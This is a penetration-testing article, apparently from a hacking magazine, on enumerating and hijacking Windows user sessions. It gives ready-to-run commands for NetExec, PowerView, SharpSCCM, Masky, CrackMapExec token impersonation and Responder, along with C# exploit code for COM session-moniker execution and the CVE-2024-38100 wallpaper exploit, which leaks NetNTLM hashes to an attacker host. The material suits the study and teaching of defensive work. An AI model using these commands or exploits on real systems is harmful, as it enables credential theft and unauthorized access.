
On Windows, a unique session is assigned to each user logging into the system. The mapping between the session and user’s credentials is stored deep inside the lsass.
process. When someone attempts to authenticate to a third-party host, resource, or service, LSA receives the ID of the specific session, verifies the mapping between the session and specific credentials, and then authenticates that user.
warning
This article is intended for security specialists operating under a contract; all information provided in it is for educational purposes only. Neither the author nor the Editorial Board can be held liable for any damages caused by improper usage of this publication. Distribution of malware, disruption of systems, and violation of secrecy of correspondence are prosecuted by law.
User authentication mechanisms, LSA operating principles, and the general structure of sessions were discussed in detail in my earlier article Insecurity provider. How Windows leaks user passwords. Now let’s examine the session theft mechanism.
In a nutshell, almost all session theft techniques abuse the session-credentials mapping mechanism and perform illegitimate actions on behalf of the user whose session you can manipulate.

Search for user sessions
First of all, you have to find a computer running user sessions that are of interest to you. For this purpose, you can use:
- WinAPI functions that enumerate sessions on a device;
- system behavior (e.g. you can check the system for certain artifacts indicating the presence of a user session on the host); and
- AD features that can be used to disclose lists of users on the host.
WinAPI
The simplest option is WinAPI. It offers plenty of useful functions, including:
Let’s start with the first one. Its numerous arguments are documented well in MSDN.
NET_API_STATUS NET_API_FUNCTION NetSessionEnum( [in] LMSTR servername, [in] LMSTR UncClientName, [in] LMSTR username, [in] DWORD level, [out] LPBYTE *bufptr, [in] DWORD prefmaxlen, [out] LPDWORD entriesread, [out] LPDWORD totalentries, [in, out] LPDWORD resume_handle);
The only important item is the first parameter: it defines the server from where the session data are to be received. Interestingly, there is an analogue of this function, but over RPC: NetrSessionEnum().
Most tools used to detect user sessions employ this method. For instance, if you are operating from a Linux host, you can use the netview.py script (by the way, below is shown a call of the method NetrSessionEnum()).
python3 netview.py DOMAIN/Administrator:lolkekcheb123! -target 10.10.10.10
The -target
parameter is the device from where session information should be collected.

The tool supports more invasive functions as well: it can be used to search the entire domain for sessions. In this case, the list of users you are looking for is specified in -users
.

The NetExec
tool has a limited functionality, but you can still use it to get the list of users by setting the –loggedon-users flag.
nxc smb 10.10.10.10/24 -u admin -p admin --loggedon-users

BloodHound collects session information in a similar way. However, if you are dealing with Windows, the above-described options aren’t applicable. Instead, you can try to use LOLBAS (e.g. net
).
net session [\\compname] [/list]
Or quser
.
quser.exe /server:dc01.office.corp
# Analog 1 in 1qwinsta.exe /server:dc01.office.corp
# Analog 1 in 1, part 2 :)query.exe user /server:W10.ad.bitsadmin.com

There is also a tool called PsLoggedon signed by Microsoft.
psloggedon \\dc01

Finally, there are fully-featured frameworks in PowerShell, including Get-UserSession2.ps1, BOF for Cobalt Strike Get-NetSession, and extremely popular Invoke-UserHunter
from the PowerView package.
Invoke-UserHunter -GroupName "Domain Admins"Invoke-UserHunter -CheckAccess # Check administrative accessInvoke-UserHunter -Domain "dev.corp" -UserName admin # Find out where a specific user is currently located# The -Stealth flag reduces the chances of success, but only checks high-value hosts.
If the NetSessionEnum(
call is blocked or doesn’t work for some reason, you can look for alternatives. For example, getloggedon.py:
python getloggedon.py VOSTOK/dcom:lolkekcheb123\!@192.168.137.139

In addition, a call from a Windows system can be made using PowerView.
Get-NetLoggedon -ComputerName HOME-PC
# Collect information from all computers on the domainGet-DomainComputer | Get-NetLoggedon

The last resort is WinStationEnumerateW(
. I haven’t seen any versions of this call in Python, but there is one in C++ with a detailed description written by its author. A PoC can be found in his repository.
Registry
This user session detection technique exploits the following fact: when a user logs in, a branch is created in HKCU_USERS
. This way, new users can be detected in the system. Of course, you can employ the standard reg.
and reg.py utilities, but hacking gurus have already created fully-functional tools for this purpose.
On Windows, the best solution is Invoke-SessionHunter.
Invoke-SessionHunter

And also the LoggedOn module of the SharpHound tool. On Linux, you can use the LoggedOn.py Python script.
python loggedon.py VOSTOK/dcom:lolkekcheb123\!@192.168.137.139

SCCM
SCCM (which isn’t always deployed in AD!) has an interesting feature called Primary User. It allows you to find out which users are using which workstations. This opens the door for a real hunt! However, to use it, you have to crack the SCCM server.
For instance, you can conduct reconnaissance using MalSCCM.

SharpSCCM makes it possible to detect computers used by certain users.
.\SharpSCCM.exe get primary-users -u Frank.Zapper
The reverse function is supported as well: you can get a list of users who use a specific computer.
SharpSCCM.exe get primary-users -sms <SMS_PROVIDER> -sc <SITECODE> -d CLIENT --no-banner

As you can see, user mayyhem\
is logged into CLIENT
.
RDP sessions
This technique can be used to search for user sessions if RDP is actively used in a corporate network. On Linux, a handy solution is tstool.py.
python3 tstool.py CRINGE/Administrator:lolkekcheb123\!@192.168.116.129 qwinsta

On Windows, the best option is Mimikatz with its ts::sessions module.
mimikatz.exe "ts::sessions /server:W10.ad.bitsadmin.com" exit
Logs
Log files are of utmost interest because many important events are generated when a user logs into the system. This is the most ‘silent’ way to search for user sessions.
The screen below shows event 4624 (An account was successfully logged on); it’s generated on the host the user has logged into. During authentication (e.g. with Kerberos), event 4624 occurs on the domain controller, but its source is the host where authentication was performed. In other words, this is a consequence of an authentication request, not the actual authentication. Also, this event often contains the IP address of the device from where authentication was requested.

To analyze this event, a simple PowerShell script can be written. Let’s say, you want to identify workstations recently visited by the user “Administrator”. In this case, you can filter events 4624 by the LastLogon
attribute (to avoid analyzing all events 4624 on the host).
param( [Parameter(Mandatory=$true)] [string]$ComputerName,
[Parameter(Mandatory=$true)] [string]$UserName)try { Import-Module ActiveDirectory
$user = Get-ADUser -Identity $UserName -Properties "lastLogonTimestamp" $lastLogonDate = [DateTime]::FromFileTime($user.lastLogonTimestamp) $startDate = $lastLogonDate.Date
$endDate = $lastLogonDate.AddDays(1).Date
$filterHashtable = @{ LogName = "Security" ID = 4624
StartTime = $startDate EndTime = $endDate } $events = Get-WinEvent -ComputerName $ComputerName -FilterHashtable $filterHashtable foreach ($event in $events) { $xmlEvent = [xml]$event.ToXml() $targetUserSid = ($xmlEvent.Event.EventData.Data | Where-Object { $_.Name -eq 'TargetUserSid' }).'#text' $targetUserName = ($xmlEvent.Event.EventData.Data | Where-Object { $_.Name -eq 'TargetUserName' }).'#text' if (-not [string]::IsNullOrEmpty($UserName) -and $UserName -ne $targetUserName) { continue } $targetDomainName = ($xmlEvent.Event.EventData.Data | Where-Object { $_.Name -eq 'TargetDomainName' }).'#text' $logonType = ($xmlEvent.Event.EventData.Data | Where-Object { $_.Name -eq 'LogonType' }).'#text' $ipAddress = ($xmlEvent.Event.EventData.Data | Where-Object { $_.Name -eq 'IpAddress' }).'#text' Write-Host "SID User: $targetUserSid" Write-Host "Username: $targetUserName" Write-Host "Domain: $targetDomainName" Write-Host "Logon Type: $logonType" Write-Host "IP Address: $ipAddress" Write-Host "----------" }} catch { Write-Error "Error: $_"}
Execution:
.\script.ps1 -ComputerName dc01 -UserName Administrator
where:
– ComputerName
is the name of the computer whose logs you want to analyze;
– UserName
is the name of the user whose sessions are of interest to you.
A version in C# was developed by our Chinese colleague. You can find the PoC in his GitHub repository.
The next event that definitely deserves your attention is event 4768. It occurs when a TGT ticket is issued.

Potentially, events 4672 and 4769 can be of interest as well. But it’s not convenient to search for a special tool every time some event occurs, right? That’s why I wrote the LogHunter script that automatically parses many interesting events and simplifies searches for user sessions.
There is also an ‘old-fashioned’ way. You can simply connect the mmc.
snap-in to a remote device and process its logs using your favorite app.
Processes
Finally, let’s take a look at processes. Each process has a token attached to it, and this token contains information about the user on whose behalf the executable file should run. WMI can help in such searches.
Get-WmiObject -Query "Select * from Win32_Process" -Computer winpc | where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize
This cmdlet extracts the list of processes from the winpc
device, immediately filters out service processes that are of no concern to you, and then displays the list of potentially interesting processes with names of their owners.

Session theft
When a session is successfully detected, you can try to hijack it (i.e. steal its credentials). In such situations, the selection of available options is limited only by your imagination!
Stealing TGS
On Windows, one of the reliable session theft techniques is TGSThief. Its idea is as follows: if you start interaction with LSA as Logon Process, you will be able to request a TGS ticket for any session (i.e. for any user who is on the same device with you).
Imagine that you have two users on the host: hacker and admin. In this situation, hacker can use TGSThief to ask LSA to issue a TGS ticket for some service (e.g. CIFS domain controller) to the admin.
However, list of available tricks isn’t limited to this! In Windows AD, there is a service called krbtgt
that takes a TGT ticket and issues a TGS. But what if you issue a TGS ticket to the krbtgt
service? Will you be able to gain other TGS tickets? The answer is: yes, you will!
In fact, if you have a TGS for the krbtgt
service, it’s equivalent to a fully-functional TGT ticket!
This way you can steal other people’s TGT tickets.
Below is an example of exploitation.

Manipulations with tokens
Impersonation of other people’s tokens is a timeless classics in Windows exploitation. An attacker with sufficient privileges attaches someone else’s token to an attacker’s process and acts on behalf of other user.
This attack is very popular, and multiple PoCs have been written for it, including unusual ones (e.g. exploitation with WTS API). A process can be started using not CreateProcessWithTokenW(
, but UpdateProcThreadAttribute().
And the cherry on the cake is CrackMapExec with the Impersonate module. It’s very easy-to-use:
# Get the list of tokens on the system crackmapexec smb 10.10.10.10 -u 'Administrator' -p 'October2022' -M impersonate
# Perform actions on behalf of other user crackmapexec smb 10.10.10.10 -u 'Administrator' -p 'October2022' -M impersonate -o TOKEN=<number of desired token> EXEC=<"execution command"> crackmapexec smb 10.10.10.10 -u 'Administrator' -p 'October2022' -M impersonate -o TOKEN=0 EXEC="whoami"


RemotePotato0
RemotePotato0 is an exploit for a semi-patched bug that allows to escalate your privileges. Why ‘semi-‘? Because it perfectly works on my Windows 11 with all the latest updates installed – although Microsoft claims that everything has been fixed!
This tool abuses the activation of DCOM objects, in the course of which authentication occurs. It can be intercepted and successfully relayed (e.g. to the LDAP service). This interesting attack was described by my colleague snovvcrash in the article Poisonous spuds. Privilege escalation in AD with RemotePotato0.
If NTLM is disabled on the domain or you cannot configure a third-party host to redirect the resolution of OXID requests, then your choice is RemoteKrbRelay. This tool was originally designed for remote Kerberos relay, but no one prevents you from running it against a local computer. It supports relay in LDAP, SMB, and HTTP and almost identically replicates functions performed by RemotePotato0 (except that Kerberos is used instead of NTLM).
Requesting other people’s certificates
With regards to the above-mentioned AD CS, I’d like to remind that you can forcefully trigger a user session when logging into AD CS so that a certificate is issued to that user. For this purpose, you can use the Masky utility:
masky -d vostok.street -u dcom -p 'lolkekcheb123!' -dc-ip 192.168.137.139 -ca "dc01.vostok.street\vostok-DC01-CA" -T user --no-pfx --no-ccache 192.168.137.139 -v# 192.168.137.139 is the computer from where you want to dump users' credentials

Masky logs into the host, gets a list of sessions, and then requests a PFX certificate for each of them; such certificates can be subsequently used in Pass the Certificate attacks.
Importantly, this module is also supported by CrackMapExec.
# Search for CA cme ldap 10.10.10.10 -u admin -p admin -M adcs
# Usage cme smb 10.10.10.10 -u admin -p admin -M masky -o CA="CA DN"

SeMishaPrivilege
This code can be used to execute arbitrary files in the system on behalf of a third-party user. Importantly, you don’t have to explicitly assign SeDebug/SeImpersonate privileges. Initially, the code was released as an LPE exploit for COM Session Moniker EOP, but then various checks were added to it.
if ( imp_token_il >= process_token_il
&& (imp_token_il >= SECURITY_MANDATORY_HIGH_RID
|| EqualSid(process_token_user, imp_token_user))){ ShellExecuteW(NULL, L"open", path, NULL, NULL, SW_SHOW);}
As a result, now it’s just a session abuse technique applicable if you have a local admin account.
The only downside is that the executable file will run in noninteractive mode. In other words, from the current session, you will only see the successfully started process; while GUI applications (if any) will be shown in the target session. Therefore, this method can be used to start reverse shells.
using System;using System.Runtime.InteropServices;namespace IHxHelpPaneServer{ static class Program { static void Main() { var path = "file:///C:/Windows/System32/cmd.exe"; var session = System.Diagnostics.Process.GetCurrentProcess(); // Here you specify the number of the target session to run payload in Server.execute(3.ToString(), path); } } static class Server { [ComImport, Guid("8cec592c-07a1-11d9-b15e-000d56bfe6ee"), InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] interface IHxHelpPaneServer { void DisplayTask(string task); void DisplayContents(string contents); void DisplaySearchResults(string search); void Execute([MarshalAs(UnmanagedType.LPWStr)] string file); } public static void execute(string new_session_id, string path) { try { IHxHelpPaneServer server = (IHxHelpPaneServer)Marshal.BindToMoniker(String.Format("session:{0}!new:8cec58ae-07a1-11d9-b15e-000d56bfe6ee", new_session_id)); Uri target = new Uri(path); server.Execute(target.AbsoluteUri); } catch { } } }}
Available sessions can be enumerated using WTSEnumerateSessions(
. I suggest using my IHxExec script or the PowerShell version. For demonstration purposes, I recorded the exploitation process and uploaded the video on YouTube.
Leaked Wallpaper
This vulnerability was registered as CVE-2024-38100. Initially, it was discovered by the author of the decoder.cloud blog, but his commands didn’t work in my case. However, at the end of the article, the author mentions that he has discovered an interesting class making it possible to change wallpapers of other users.
Voila! Everything clicked into place and the light came on me! What if I specify a UNC Path instead of the path to the file? In this case, the wallpaper won’t be installed, but the user from the target session will be forced to follow this UNC Path and send an authentication request, which can be intercepted (e.g. using Responder).
The idea turned out to be effective; it makes it possible to steal a NetNTLM hash. Furthermore, the exploit works even on behalf of a low-privileged user.
Let’s examine an exploitation example. You have an account called exploit
, and it’s absolutely unprivileged.

There is also a privileged account on this computer: administrator
.

To steal admin’s NetNTLM hash, start Responder:
responder -I eth1 -v
Then use the exploit and trigger authentication:
.\LeakedWallpaper.exe <session> \\<Kali IP>\c$\1.jpg
# EX .\LeakedWallpaper.exe 1 \\172.16.0.5\c$\1.jpg

Conclusions
Of course, the list of techniques that can be used to search for accounts and hijack them isn’t limited to the above-discussed ones. I just tried to present the most unusual, elegant, and effective solutions. In many cases, you can simply dump the lsass.
process and extract credentials from it. But whatever the case, you newly-gained knowledge will be useful in your pentesting endeavors.
Good luck!

2023.07.07 — VERY bad flash drive. BadUSB attack in detail
BadUSB attacks are efficient and deadly. This article explains how to deliver such an attack, describes in detail the preparation of a malicious flash drive required for it,…
Full article →
2022.01.11 — Pentest in your own way. How to create a new testing methodology using OSCP and Hack The Box machines
Each aspiring pentester or information security enthusiast wants to advance at some point from reading exciting write-ups to practical tasks. How to do this in the best way…
Full article →
2023.03.03 — Nightmare Spoofing. Evil Twin attack over dynamic routing
Attacks on dynamic routing domains can wreak havoc on the network since they disrupt the routing process. In this article, I am going to present my own…
Full article →
2022.04.04 — Elephants and their vulnerabilities. Most epic CVEs in PostgreSQL
Once a quarter, PostgreSQL publishes minor releases containing vulnerabilities. Sometimes, such bugs make it possible to make an unprivileged user a local king superuser. To fix them,…
Full article →
2022.02.15 — EVE-NG: Building a cyberpolygon for hacking experiments
Virtualization tools are required in many situations: testing of security utilities, personnel training in attack scenarios or network infrastructure protection, etc. Some admins reinvent the wheel by…
Full article →
2023.07.29 — Invisible device. Penetrating into a local network with an 'undetectable' hacker gadget
Unauthorized access to someone else's device can be gained not only through a USB port, but also via an Ethernet connection - after all, Ethernet sockets…
Full article →
2022.01.12 — Post-quantum VPN. Understanding quantum computers and installing OpenVPN to protect them against future threats
Quantum computers have been widely discussed since the 1980s. Even though very few people have dealt with them by now, such devices steadily…
Full article →
2022.01.11 — Persistence cheatsheet. How to establish persistence on the target host and detect a compromise of your own system
Once you have got a shell on the target host, the first thing you have to do is make your presence in the system 'persistent'. In many real-life situations,…
Full article →
2022.06.01 — WinAFL in practice. Using fuzzer to identify security holes in software
WinAFL is a fork of the renowned AFL fuzzer developed to fuzz closed-source programs on Windows systems. All aspects of WinAFL operation are described in the official documentation,…
Full article →
2022.02.09 — F#ck da Antivirus! How to bypass antiviruses during pentest
Antiviruses are extremely useful tools - but not in situations when you need to remain unnoticed on an attacked network. Today, I will explain how…
Full article →